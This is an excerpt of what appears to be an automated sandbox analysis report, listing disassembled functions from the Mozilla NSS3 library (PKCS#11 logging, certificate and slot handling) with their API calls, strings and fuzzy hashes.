Instruction Fuzzy Hash: A55187B5B412455BEB11DF24DC45AEE3BA8AF06248F140020EC59E7F42F735E919CBBA

Function 6CAD8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CAD8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAD8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD8EB3

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAD8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAD8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CAD8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CAD8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAD8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAD8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CAD8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CAD8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CAD8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CAD9047

Strings

pulWrappedKeyLen = 0x%p, xrefs: 6CAD8FC8
hSession = 0x%x, xrefs: 6CAD8E8E, 6CAD8E9E
hKey = 0x%x, xrefs: 6CAD8F5B, 6CAD8F6B
pMechanism = 0x%p, xrefs: 6CAD8EE0
hWrappingKey = 0x%x, xrefs: 6CAD8F01, 6CAD8F11
pWrappedKey = 0x%p, xrefs: 6CAD8FAD
C_WrapKey, xrefs: 6CAD8E71
*pulWrappedKeyLen = 0x%x, xrefs: 6CAD9042
(CK_INVALID_HANDLE), xrefs: 6CAD8EAC, 6CAD8F1F, 6CAD8F79

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 6c558cfba46b57aace2cdddc38aa6fbcfcf2c9af03b95a93d8aa58e0243067e1
Instruction ID: 9578e9ed4857b12e9c459036106bac51e7efc76e6b3235909ed625f2875ef326
Opcode Fuzzy Hash: 6c558cfba46b57aace2cdddc38aa6fbcfcf2c9af03b95a93d8aa58e0243067e1
Instruction Fuzzy Hash: 4251C575701185ABDB009F14EE48FAE7776EB4631DF0A4029F508B7A12DB35ED48CB92

Function 6CB04C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CAF4F51,00000000), ref: 6CB04C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAF4F51,00000000), ref: 6CB04C5B
PR_smprintf.NSS3(6CBDAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CAF4F51,00000000), ref: 6CB04C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CAF4F51,00000000), ref: 6CB04CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB04CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB04CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB04D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAF4F51,00000000), ref: 6CB04D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAF4F51,00000000), ref: 6CB04D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CB04D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CB04DA2
free.MOZGLUE(?), ref: 6CB04DB9
free.MOZGLUE(00000000), ref: 6CB04DCF

Strings

ootT, xrefs: 6CB04D1A
every, xrefs: 6CB04CA1
rust, xrefs: 6CB04D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CB04D9D
any, xrefs: 6CB04C96
rootFlags, xrefs: 6CB04D47
0x%08lx=[%s %s], xrefs: 6CB04D80
slotFlags, xrefs: 6CB04D34
timeout, xrefs: 6CB04C91
%s,%s, xrefs: 6CB04C4B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: e5ccd1894d1889971c6c000bf825568a82f528c86d89dabe7409fc9c8bd65353
Instruction ID: d5fde9103b8dbb1989a75a337a42ce0a79d0ac87a4f72c8ace3f9eca0128c813
Opcode Fuzzy Hash: e5ccd1894d1889971c6c000bf825568a82f528c86d89dabe7409fc9c8bd65353
Instruction Fuzzy Hash: B4416BB1A001D16BDB116F14AC44ABF3E65EFA235CF094228E8195BB01E731E968CBD3

Function 6CAADDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAADDDE

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CAADDF5

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CAADE34
PR_Now.NSS3 ref: 6CAADE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CAADE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAADEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAADEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAADED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CAADEF0
PR_smprintf.NSS3(6CBDAAF9,(NULL) (Validity Unknown)), ref: 6CAADF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAADF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAADF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAADF33
free.MOZGLUE(00000000), ref: 6CAADF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAADF4B
free.MOZGLUE(00000000), ref: 6CAADF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAADF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CAADEFA
{???}, xrefs: 6CAADE8B
%s%s, xrefs: 6CAADEEB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 63b27ce160a4d0f08fa9172687265ea5b427a7228d64853528e8447003d85fea
Instruction ID: 172be5b80a581968aec101855043cd8880ced0add414942c58a9003bd6de0a9e
Opcode Fuzzy Hash: 63b27ce160a4d0f08fa9172687265ea5b427a7228d64853528e8447003d85fea
Instruction Fuzzy Hash: 2351B3B1E001419BDB109FA59C41ABF7AB8EF99358F184029EC59E7B00E731D955CBE1

Function 6CAE2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CAE2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CAE2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAE2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAE2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CAB4F1C,?,-00000001,00000000,?), ref: 6CAE2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CAB4F1C,?,-00000001,00000000), ref: 6CAE2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAE2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAE2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAE2EF8
PR_Unlock.NSS3(?), ref: 6CAE2F62
TlsGetValue.KERNEL32 ref: 6CAE2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAE2F9E
PR_Unlock.NSS3(?), ref: 6CAE2FCA
TlsGetValue.KERNEL32 ref: 6CAE301A
EnterCriticalSection.KERNEL32(?), ref: 6CAE302E
PR_Unlock.NSS3(?), ref: 6CAE3066
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3085
PR_Unlock.NSS3(?), ref: 6CAE30EC
TlsGetValue.KERNEL32 ref: 6CAE310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAE3124
PR_Unlock.NSS3(?), ref: 6CAE314C

Part of subcall function 6CAC9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CAF379E,?,6CAC9568,00000000,?,6CAF379E,?,00000001,?), ref: 6CAC918D
Part of subcall function 6CAC9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CAF379E,?,6CAC9568,00000000,?,6CAF379E,?,00000001,?), ref: 6CAC91A0

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

PR_SetError.NSS3(00000000,00000000), ref: 6CAE316D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 221665093c645db504ac31310cedf4840db10d5f5dcc14176ef514e2e7eec08c
Instruction ID: aea92ece7e7b20634d5ede615b1e41bb59b53a30b30f2dd37f3793af9c47c523
Opcode Fuzzy Hash: 221665093c645db504ac31310cedf4840db10d5f5dcc14176ef514e2e7eec08c
Instruction Fuzzy Hash: 5CF17AB5E002199FDF00DF68D884B9EBBB4BF09318F184169E855A7721EB31A995CBC1

Function 6CADAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CADAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CADAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CADAF83

Part of subcall function 6CBBD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBBD963

PR_LogPrint.NSS3(?,00000000), ref: 6CADAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CADAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CADAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CADAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CADB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CADB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CADB041

Strings

C_SignMessage, xrefs: 6CADAF41
ulDataLen = %d, xrefs: 6CADB00A
hSession = 0x%x, xrefs: 6CADAF5E, 6CADAF6E
pulSignatureLen = 0x%p, xrefs: 6CADB03C
pSignature = 0x%p, xrefs: 6CADB023
pData = 0x%p, xrefs: 6CADAFEF
pParameter = 0x%p, xrefs: 6CADAFB9
ulParameterLen = 0x%p, xrefs: 6CADAFD4
(CK_INVALID_HANDLE), xrefs: 6CADAF7C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 8627ae623c98f761f7890345bb4da158862c7dbe5c032194c44ed7c022f657a5
Instruction ID: 7310496242b97729771ad256b5d076ba85166fb5107e0cc9e512c29a323c35c8
Opcode Fuzzy Hash: 8627ae623c98f761f7890345bb4da158862c7dbe5c032194c44ed7c022f657a5
Instruction Fuzzy Hash: 5C41D775701185AFDB008F54EE48EDD77B2EB4631DF4A4068F508A7612DB31DC98CBA2

Function 6CAC9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CAC9FBE

Part of subcall function 6CAA2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CAA2F0A
Part of subcall function 6CAA2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAA2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CACA015

Part of subcall function 6CAE1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CAE563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CAE195C
Part of subcall function 6CAE1940: EnterCriticalSection.KERNEL32(?,?,6CAE563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CABEAC5,00000001), ref: 6CAE1970
Part of subcall function 6CAE1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CABEAC5,00000001,?,6CABCE9B,00000001,6CABEAC5), ref: 6CAE19A0

PL_FreeArenaPool.NSS3(?), ref: 6CACA067
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CACA055

Part of subcall function 6CA24C70: TlsGetValue.KERNEL32(?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24C97
Part of subcall function 6CA24C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CB0
Part of subcall function 6CA24C70: PR_Unlock.NSS3(?,?,?,?,?,6CA23921,6CC014E4,6CB6CC70), ref: 6CA24CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACA07E
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CACA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CACA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CACA0CF
PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CACA12E
PL_FreeArenaPool.NSS3(?), ref: 6CACA140
PL_FinishArenaPool.NSS3(?), ref: 6CACA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACA158
PL_FinishArenaPool.NSS3(?), ref: 6CACA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CACA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CACA1B2
free.MOZGLUE(00000000), ref: 6CACA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CACA1D6

Part of subcall function 6CAE55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CABEAC5,00000001,?,6CABCE9B,00000001,6CABEAC5,00000003,-00000004,00000000,?,6CABEAC5), ref: 6CAE5627
Part of subcall function 6CAE55E0: PR_CallOnce.NSS3(6CC02AA4,6CB012D0,?,?,?,?,?,?,?,?,?,?,6CABEAC5,00000001,?,6CABCE9B), ref: 6CAE564F
Part of subcall function 6CAE55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CABEAC5,00000001), ref: 6CAE5661
Part of subcall function 6CAE55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CABEAC5), ref: 6CAE56AF

Strings

security, xrefs: 6CACA00F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 3ebe99a420abc6c071d3a670188c6ad1ce7ef1f3554117f7ad0a79b9541f3229
Instruction ID: 5b111aabfe525a6b29be545bd319c839a46226d315a55e7e9b23f7a6f419316d
Opcode Fuzzy Hash: 3ebe99a420abc6c071d3a670188c6ad1ce7ef1f3554117f7ad0a79b9541f3229
Instruction Fuzzy Hash: 5451F4B5F00209ABEB008BA49D45BBF737AAF4534CF144124E909ABB41EB7599CDC793

Function 6CAE6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAE6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAE6943
Part of subcall function 6CAE6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAE6957
Part of subcall function 6CAE6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAE6972
Part of subcall function 6CAE6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAE6983
Part of subcall function 6CAE6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAE69AA
Part of subcall function 6CAE6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAE69BE
Part of subcall function 6CAE6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAE69D2
Part of subcall function 6CAE6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAE69DF
Part of subcall function 6CAE6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAE6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAE6D8C
free.MOZGLUE(00000000), ref: 6CAE6DC5
free.MOZGLUE(?), ref: 6CAE6DD6
free.MOZGLUE(?), ref: 6CAE6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAE6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAE6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAE6E72
free.MOZGLUE(?), ref: 6CAE6EA7
free.MOZGLUE(?), ref: 6CAE6EC4
free.MOZGLUE(?), ref: 6CAE6ED5
free.MOZGLUE(00000000), ref: 6CAE6EE3
free.MOZGLUE(?), ref: 6CAE6EF4
free.MOZGLUE(?), ref: 6CAE6F08
free.MOZGLUE(00000000), ref: 6CAE6F35
free.MOZGLUE(?), ref: 6CAE6F44
free.MOZGLUE(?), ref: 6CAE6F5B
free.MOZGLUE(00000000), ref: 6CAE6F65

Part of subcall function 6CAE6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAE781D,00000000,6CADBE2C,?,6CAE6B1D,?,?,?,?,00000000,00000000,6CAE781D), ref: 6CAE6C40
Part of subcall function 6CAE6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAE781D,?,6CADBE2C,?), ref: 6CAE6C58
Part of subcall function 6CAE6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAE781D), ref: 6CAE6C6F
Part of subcall function 6CAE6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAE6C84
Part of subcall function 6CAE6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAE6C96
Part of subcall function 6CAE6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAE6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAE6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAE6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CAE6FF4

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: b9a1ea460dbb8d1806fba3b0744eddaa764d4f78fed6f35c169280cb9692a233
Instruction ID: 764a8f46a3e1febdf7cf8f0adefd8dbb5cef80993e185fb5dede520e4fa1aff0
Opcode Fuzzy Hash: b9a1ea460dbb8d1806fba3b0744eddaa764d4f78fed6f35c169280cb9692a233
Instruction Fuzzy Hash: 00B151B1E0120D9BDF10DBA5D884B9E7BB8AF0D348F180424EA15E7B41E731E994DBE1

Function 6CAE4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAE4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CAE4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAE4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE4DB7

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
